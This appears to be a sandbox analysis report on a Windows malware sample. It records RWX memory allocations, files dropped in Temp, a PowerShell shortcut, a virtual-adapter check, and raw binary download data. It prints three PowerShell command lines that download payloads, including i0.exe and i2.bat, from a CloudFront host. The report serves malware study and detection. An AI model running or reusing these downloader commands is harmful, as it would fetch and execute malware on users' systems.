NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02517000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0249b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02515000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049ce000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049cf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04e24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\AppData\Local\Temp\nsvBEA8.tmp\brn.bat
file	C:\Users\test22\AppData\Local\Temp\nsvBEA8.tmp\INetC.dll
file	C:\Users\test22\AppData\Local\Temp\i0.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2841&c=2841','stat')"
cmdline	powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=2841', 'i2.bat')"
cmdline	powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=2841','i0.exe')"

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\i0.exe

Drops an executable to the user AppData folder (3 events)

file	C:\Users\test22\AppData\Local\Temp\is-HDLBD.tmp\i0.tmp
file	C:\Users\test22\AppData\Local\Temp\nsvBEA8.tmp\INetC.dll
file	C:\Users\test22\AppData\Local\Temp\i0.exe

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 20, 2024, 10:22 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (50 out of 243 events)

Data received	[
Data received	W$1ßi;Sv!Â9fÎìaì³ÖÑrDOWNGRD "ÏªõÅXcÂ7¡ðÄÅDy'%À!±Üa»Àÿ
Data received	b
Data received	6`¨^\²/Yöù%CçiRáqãØ- NoöÈIÙ¶óV®+¶tëÏû&ãº.j;XGVÿ% pSÚtÃgh:ß@ZJNÏC;çVÖpËRî{}®:ç¼1ùEöÂ`ÏY+Ì4Gß¹ÞemÏ,¦¦çÞI\|fN£:m©µî4.º ¸3ßGë±k%ÙÎÑEF2pÞIC¶ls»dêaA¬ÉÔTß/Ç"²&ÌYThü¾/ÄUu@`U9£ð0í0Uÿ0ÿ0Uÿ0U_ßª×0+8¢¸mJò0U#0¿_·ÑÎÝô[U¬Ü×Â©ç0O+C0A0+0http://o.ss2.us/0!+0http://x.ss2.us/x.cer0&U00 http://s.ss2.us/r.crl0U 00U 0 H÷ #ãWÊ}éyLñUýÌSn>GßÆUò²6íSÄ]4(k¾ÇUügêË?²3ÍXøø/õ`ÔÎñÁÝ§uO¹mÞ÷º~@,íÁê»v3w SÝd«'ñiÕM^®ô¡Ãu§XD-ò<p¬ºi¶w1^,ü :Giðy_ôT¤^x`'ÎÂwÿ#Sw]ºÿêYçÛÏ¯ï$5zÆ}ö?ßõrTá©Y{¿R.F²dvHÓØyènVÌ®,×8äÊ [ÿ°¨4IßV©÷°_í3íG·0]ô
Data received	K
Data received	GA«iµ>òÖ!½+O%)èÒU²RD'n7±;G÷hWæ¶B¯sìAªÂìJæÊÓ½?Ã][°~^=¹ÊËç×ÚEpYÇ³nSpZcú()vÎ÷[hîô"ÊÇÃæÜ;Ähúz7æ3¨BÑU{~j]VÇK\Ç¥Ò¢ÿr,o#M¤ÜÄ_ÚLk«3Ï=ØR%ë;"Ä¢¢Ò©aêjÊLM¡Ó;üiè³¶ÇüCGy] ~wF¹ð;ûgh²Ñ+HOªR¡ª #\|9õ~åR±ýÕµ¿TOË63'õhBÆµ:K¡)x³í·Iü5\½ÂÍ§-qH¬²!C Rs&I}ÐHkOÐ1=AÆ¡îª
Data received
Data received
Data received
Data received
Data received	0
Data received	ìO+Û#ä5`0Iß£ð×cñ;ªÿ¡Ó%qí0EûWuôBH;X
Data received
Data received	ñdì×'ÌÞEZ) AMÏsâC¶ir%P<V¦U_@2ÕIpg3]×½Åñz8£(ý¾í6pó8ÉÔ''¯a£\ç8,ãªQkBò÷ì¨ºeõoZÜó&Û 8 Ý¨Êfñku¶Rbé°ÐfTv4Gñ.~;uÅûWy X&²Äp(þtÍêóÀ0r×}$rFåÙNk1µ}:ATúX:Ì_àv©Ã=kqÐ¼[#ÓóEMÈÞága¸+£³rjd2,_-Z4×ä"×UÊ®âH9U¸kf1MFaÀ+»½VÙ<¤îõÖHäR«DzªK90hNQ~?¡ÿ1$9_7ÐÇ`û®í\|:E_zò9°)@xMyýþþ 8ÛX4\ñxÈ7'Ñ ¿ßâ4=9ªcÕíé4îN~4gß\|<!í6îÜL»ÉJåcþ9A÷Ýåßl°
Data received	WX¯SXÅ×jîÔ$`v,«Å±DOWNGRD ß£±"Q¥ý«å=L»«eDª2ûú#È[ØzÀÿ
Data received	GAÉ\Xlú]ÐÁ4ã>4cWØ²Ü)±3¥=±³²â´òß\î-SY3nÇ>ªÒ1/ô,ÞCü¥Q40yôÖôfÊ>@m %ÈöT.»Ìúp6¤ã¥ÃÔt¹58·D8m]ýs#`bÊlIîá8>-Þ6+yeAR«'Yä?kÇÕ¨4_¨1ÐÊérSz©Ä÷²tÝR.\âäõ¾v9¦ÏÍãoçõ©Ù>ª t0?JF<ÌT²çç&aËK(ha hpÝü´fYæ\c³-âôaðøôX`Øt£ÝV¦pÉûûGý)HxªCõ§IR?ºFPÏä['&-~üAU56åòÒn\ôN)
Data received	?Ò@®EËnT:¼uÈÍ{(ÿg»NkÚöèÃz¯nÕCÛx
Data received	à
Data received	×IçîÞÃ#ºNÿN\?æÉ ÐaLÒM~mä0Æ¶ÓDÿ°8pIä(úð* Ö·Tµ8Òã2uÏäêßWAÞC/ðë>%ûÍÜiécFJÃ1(,³)î£Sâ8ôº@?·ººóTÓ±^!}nÂCÃ>!âK}ÓcùN_ÝócP¦gjõ®Áòm/Ü¬E7M»á!Åá[ §èþéõ Ï>7¤.w®ªÞÀþEûhàCiWvGo~ ©~I^!®uÑKÕù¡¥´o¯.b<âã¬ª·²>wõD90¿ÜÛ¬lÁºkSw)È(ùx¿Éa8=áÖ´{ÍuF~½gnÆW96ì°ï¶íiãùWÃþ¡²ð1¯å5ýÝâ¢d7§jü¶u2Ô^ÂÇ`SSfyî)·WüÈ§E²R¡UÞC÷GÝcÙêEëW³»«Cî&¡kÎ7È!cD»ßX/`'Ñ°ôÉm7º-iGÅ÷^ô6 a3êjF\|Oè¤JýÞ¢aNÅÈó'×gªo®Oa
Data received	WfJ¥ü¶s1÷4Î ,¼åXöWDOWNGRD Få ã¤Dö¢å±rO¹ºÂà@«¹«S³#%°Àÿ
Data received
Data received	GAcâ¡¬\5Zz°gä¬¦N¨@t$'8fåú·p´É²ó/£KÆ\|ûê7ìW¥a(¸! $Sñ±MzjÞ(÷¾¿KJAUh0?xR#òn/&\|c¼&oÌhyÙ$xl¿ È&¦0Fd'³¿ht=´àÀd2v~´¡þËöç»»¤>]~V^ô)Wëa0Ã[ò=]8Å±ULXyÃôÑgÅsí]%ãäWzº'ÑfLü2ÆO¥¯×fÕ©Üò(ï}Åõþ( ýÀ÷UÎ,@æqøÞu4à±Låð6wÐäoLÈ"ºÒ¿+¤ fH¹J¸Y&¦~ ²o(Jú¼¼Óã {# £1XíÆEû\|D> ªÍpgO$¶¾ÍÛ
Data received	áV©8j/ÚÈuê º®o-&ç³dºuÛmëÀÖã¦0©Ô
Data received	p
Data received	¹Ø+ýpvM7Jã¡oâûðìì®íÎ÷aôc:\|5\|]¢QB8Ð'WÄu8Là»RéM¾Ôßëñ26ê0IÿÛïÆ!HÎ´Ó¾Ñ Þfìõ:±µ¨.&Ü²@î(Ä×Î¿â&"?§TI5è!RSukÛ_áY8³ç\ïèúe.+¢§$15`¹hæê³6»ÏÑ©¥¼õX,No°ôñ2öU(¨Í&HgöüÝÚ¯@y&%zO/ìí&aç"&çg²Y6^úôâc!Û4K;§)?½/(áëbÐ²IO½Ú@aËQå>AÃ6=©RÁP·\¿a¤2:FÑ[sM1)c§[%HZZ¶ ÞskÍ¾Ðm~{ Øa/Ü5º$âQv¿Æ=¢Dk]øÈ_F2\ã)°ÕÎÄnh»Zþ¯Æ¸8-øÀèúðÀ¦Ob:ÂéýËôø8Ý3G+Äh ¸Õ®ñÜ½hÃ ¬Fd= PDkfOàÊjK5Ö´lÂ½èË3ëºzueûÒÎ\|Weqf/òùB=já¹$EnjNº}lïéÒÔqÁlæDWÉ'3é0\|qåÜW¢Í´Ã?»¯l5? .ÈÊ}aV%¡/+¨ßñoÓGìW¥Ê¾ÿt´0g@ø3Jkûc¡oÒ~üþ°þJM:øôö:jH 8sU ¥ ~:(D"ì%®=q ¡%;j¦¡#lm3t#¬ÂdªmÁÎú§ Æ5Rõ:èåS²ÑÉá)ñ;Ëxª½ÈÍôQiôJ¨fØ¬³UßêÉ¹¤Q i2GMïÔû%ñ÷4²$seòº¬s 7öù»Õ»!ý¿içÓ éh/qq§$z07µ ?¬«úØFãÕd¿åÁtÓFÆgèæ4øO<)Å.>¶\|Æ@ÑÌübIN.1·\ú¹^¥Â×Yþ ò/oÇ(æVîGæhLm/ì$ó®Ù½Ú¼x¢ô³Ë)x_î!ý9äX;(\,Ç bÕÄ»ÈUMa½Í6<+¶§"Y¡Sñ3gue³78ÿóÃ<·êð)Ö¢{¥2'M¢n>F¾§ï©äêC·ù#ÞW:MdJeUÀÁ/\|v´¥4Q= täÌ¸O\|4°+<,Êôùª´Ï[¼£üpb qä·ÂÇP[jc(vyÿ§{ôïúçrGëµ¨'i}}ôÖCaÁ,FÊ¹c%GAÚ$¼\|ZYxÀºY2\°[útÊcmd·O»qM³WqÞ &¡¿rWízhVD#ÌØ5¾EêÇ¬bäã<W~ËËÅQ. ö@Qb{ïVkúßCú-ÈA[½®÷b¼/óR+$¶ß^GV> ¾Ø-¹$ªàÌ#³a{e0smLøgËºÕÇ´eb3¦>{3ê¹P¾bÜÛùfF¶åPP×óa'+ò}ªîû¨(±oÅ½.¬ùÌ.µà&6÷ñY²Ç±FÃ)ÄdÌV B=7t×wúÑ3/úQ_jóhÝ=i'ÇwßÕ*j=¸°`Yá(}< "Uó=àÖÆÂäÑ¾³ ¼·±ÆO_¹Ý<×ç?Â Øx¸OÔë^Ã¿z-
Data received	RþÑ»ïÕàè~ Ø_´Póh2MR¸\è¢¼}ÕiØC§ÙhgãeøJ³ \{i7KùCÿê ·vÕ6!];9+¾Âîf`¸êSÊáF³IÖõã2æÎÆ #;JÜuQÄQÍ_¨±æÕÂÌzµÅ.Nt¢ñû¾¥xÕ½ã¬XBÂaò/ÎÖèàI2]j>'ròóæ¥2Â`L..ªJ5Ó#&®Júc1¤ú«]®ÖýHÔwVtÁ\|ÇÒcù?25E(ZÖoEuÕJ÷Òã]3Ç½FÎa¡x5óq]ñ"wáf WÔÔ²0º¨êåÙq#ûEÅVhO t^xämåÏèídUiÂä¬j1/©Ô¬gÑôêÇÞ×ópèzSÆ[fá[dØy(fä½ëJ©äU&oJÆÉÄ¹SÄ©ÉùÕ¤»t·S· :<JÚ1;¯ÜwþÜEãPzNqT)¥4¢j>p_ÚÐ@i¨Ñ&ÚK¨G°qXCqÝålsv¶Ú¿ôÉèQ.wò×©1\ðcÃKðßÝÈ¸òx_Gø-Óa~Ùõ?çë~ä2yNfÉ]!ýf¸Ênê&Z,ô63E÷Þï.æ·'ÿ®.Dû8Æ+quË1µ4A`cÉsP>c3#.Ø èµ¢ýuÔ£aÓ¬K-¢õíF)"9[äÍWºQ¸Z ?Æce~È>ãÛÚ=M¢:ø»³Î ·â!eFK£9^íJÔî"ïe<®«´Ã<ÍIµÜë<Ü¸Û38!(.þjë&Òxë¸½)ã¥î( -!Ë´}VÂy}Ò¬máÉ9-!#ÚÆ$<°¬[Lð¡$G=ÉAR[ÌC´Ý}S §0ö(§èí¿4_¨K[ÆÙ:\´1F¯ [aá»Øú»×n¸l2HöüÔy1qãmÒAWVBA2×ÊÂ¾/ (ô£ùû>¾ÿÓK¢OBE\|±vÆæº¯i9Dg"DØ9ôÙrpÓ\|y48«óRÝÆÞª@´¯½àýl¦Ùä$p øÜ0ov}íKÛÌ?²#w,ØþÁMQ£»ÍÎÑÙ8iÖ§§3¶[QG¢Ü1çÉñ ð ±¶ìfìÎ³XPðA¥@/jÆ@Ëß)E ï¢e¹±pÕ6w¸AÇdÛ¨mÓJÞÕÍ[NjÚ (yÑÙI\ã,RJx³ÕÊý/ã0E55çî )¾¸¶/!t&x¾u.»Rãk±ôõ1¸°óì¡«NXÌ§Qkôðþ7´XUÙÎÖwÏ÷ÒOª6¹è¹Ü\ mFõ·U/È '07¾ØDèß)hý®²Ó_Ï2À¾+uÍÝÌ5`á5Ú¾y7 ²§a}J¨8"¬X<tÆö¤ó³´¶:Cq{¥xµ8âiºRÓ`Et#@»Ä\|ë®Æ¶1ÙÿZÅÑé(3®NÊþZ¯ßq[ñVçn:CÍc-Bb*#Gýâö¢¨)«bÏfBÈ/¥Ävûú»¬®xàõáwËa;=®P`;ÿ°Ò¨ûÏ¡k6\>xW
Data received	¶ò:õÕÖNF®@5êmjõJnú³SvX=D1ÅñÐ"L¾¨+Vo°°®p4kàelB]ÅÚæ?Q{Ã3±ýÈG8Ég#=¤¼ÄÇdgÃíºØëg¨NXx¡+óQ~oÙÚºDfbët>dÌzcÁ9jåèîã±ò¿ïDqíïw2KÂO",óäg92¯Î·Ñ&ï¼Áþt¦rk\| A:#+lgÇKF_åé =Ò¡_1[S¯ V<ÁI¨Oj@¬´B{^Z¡/sþÁ'êÎo^oº+ë83V@Ìéc\|¦¾Ð4dq®%ÁÚé\-3GÂÆèµïí]×Æø iV+ÑÕp¦;ª£µª ±öúÑµ.§íÛlãá÷¦H¼óÌ¡ñ£??3R<OWÃ©ÝÕ4¤øo±:dm2ïfå3}i¬ôÚc!rV\|À ìW¢Å,Tª²«²dþ³Å5A÷/;q©æö^¡06¹ÉbÊÏ«+pQrtWÝô£þ¥ÓówÕP píêí¤·õ¸Ô?¼s\Ó¬tÈDIa)ìxÇ§µ\|Ø¶ð_Ê¾ú¾<ÚWå¦»¬¹¹ÖV,ýÍ+©ð'¡ùì9Èyé´wlòíd`9^]S¶^¦£Äég$°x}QÑ÷Ñð»ðÄÃ3Ð¦ÛI3º6Béè;ZT}jÀ\| +yLKÂy´xQ#Ð=¨:ßÙ £RûS÷ÿ=í4××¸Õ<iÓaD~WYNäRÞ%<küL«l(&ö£¢Hÿå²·xågÓÀo¸ªÚèpaïTÅRhóÌÿÀ ¯õdýWôÍñÜ¡ã¨hL×PÜñÚ¸µ¼%wkÇÆ Ä^Kvù¥zþ ì <A3 E4ËÜÞý_ýA¼Ü(¤{ó$Íu(!a^m%l»vºvGO\Õüâ¬k;L¢~ó@»EôÇeÂæÅ ûÑùÿn´®ü\|ï;ÅòIhZÑ ¶îïÖÿÛ1ÑR¯ó0`VWñ×nK]¨u^xR[uzà"Z^æ'H¨"Ñ%¯ÃÝM_ð-úÊe¡½ÎV±î3ì¿§èã3 ÁÁYÙïùr-CÓIÍ¥S+ó¸+W9åF[ÊfË¨GÓªwþè ûîÒ<) ¹>á$;qëYËp{ã;í)¹oëºC\|K'@ö'ÈðFºþ<Ç,~ qS%I¥?ïH¬\oÕ8ÓnºÆX1áä÷VA^Tp`]¼©·Tå2 )C Í´ ·3Ô}±®ïÂY Aä3øqÅèêV·#HÕf§¥FqÞvAÃùzòÕ§ª¾e>vÇNDy²qÝ¦DâÄZ>òiSÙ@DG7$´á\|cÓJ¡ ÃjX\|!zqÒË]Iö®`µáv±¯¡ÄBö"WZw*$ÀOá}ã°¬Éêkrncýûp23VÈÒ)+á]/¿Ï!#R¼´,ºáÄzîèêfgtï2?oÀ§õ v4ÇbT,dlnCí×âyôÀlMA¹t·ú-®ËÊQ}ÄùÖ9¼}$áÌ ÔIÒ»æb>iIäf
